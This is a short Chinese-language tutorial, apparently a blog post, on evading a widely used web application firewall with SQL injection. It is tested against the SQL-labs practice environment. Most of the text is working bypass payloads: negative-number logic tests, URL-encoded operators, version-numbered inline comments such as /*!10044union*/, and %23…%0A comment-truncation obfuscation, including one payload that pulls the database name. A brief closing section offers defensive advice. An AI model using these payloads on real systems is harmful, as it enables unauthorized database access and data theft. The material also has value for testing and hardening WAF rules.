记录过某常见WAF最新版
字数 730 2025-08-15 21:30:34
WAF绕过技术详解:基于某常见WAF最新版的注入绕过方法
1. 基础测试环境搭建
- 使用SQL-labs作为测试环境
- 目标WAF版本:4.0(最新版)
- 基础注入语句示例:
?id=-1' union select 1,2,3 --+
2. 基础逻辑测试绕过
2.1 AND逻辑测试绕过
原始拦截语句:
and 1=1
绕过方法:
-
数值变换法:
and -1=-1- 原理:将正数表达式改为负数表达式
-
运算符替换法:
& 1=1- 注意:在PHP中
&是连接符,建议使用URL编码:
%26 1=1 - 注意:在PHP中
3. 内联注释绕过技术
3.1 注释类型说明
/**/:普通注释,内部语句不执行/*!*/:内联注释,内部语句会执行
3.2 版本号内联注释
语法:
/*!版本号 语句*/
表示当数据库版本≥指定版本时执行该语句
有效版本号:
- 测试发现
10044在当前WAF中仍然有效
应用示例:
/*!10044union*/ /*!10044select 1,2,3*/--+
或
union /*!10044select 1,2,3*/--+
4. 截断注释绕过技术
4.1 注释符号说明
#:SQL注释符,URL编码为%23--+:SQL注释符%0A:换行符(保持命令连续性)
4.2 混淆注释绕过
基本结构:
%23混淆字符%0A真实语句%23混淆字符%0A后续语句--+
示例:
%23QQQ%0Aunion%23QQQQ%0Aselect 1,2,3--+
原理:
- WAF检测时
#后的内容被注释 - 通过
%0A换行后继续执行前面的命令 - 混淆字符(QQQ等)用于干扰WAF检测
4.3 结合内联注释的高级绕过
%23QQQ%0Aunion%23QQQQ%0Aselect1,database/*!()*/,3--+
5. 最佳实践建议
- 优先使用负数表达式测试(如
-1=-1) - 内联注释结合版本号(
10044已验证有效) - 注释截断技术配合混淆字符
- 必要时进行URL编码(如
&→%26,#→%23) - 换行符(
%0A)可有效维持命令连续性
6. 防御建议(针对防御方)
- 加强对内联注释的检测
- 处理换行符的语义分析
- 建立更完善的注释符号检测机制
- 更新版本号检测规则
- 加强对混淆字符的识别能力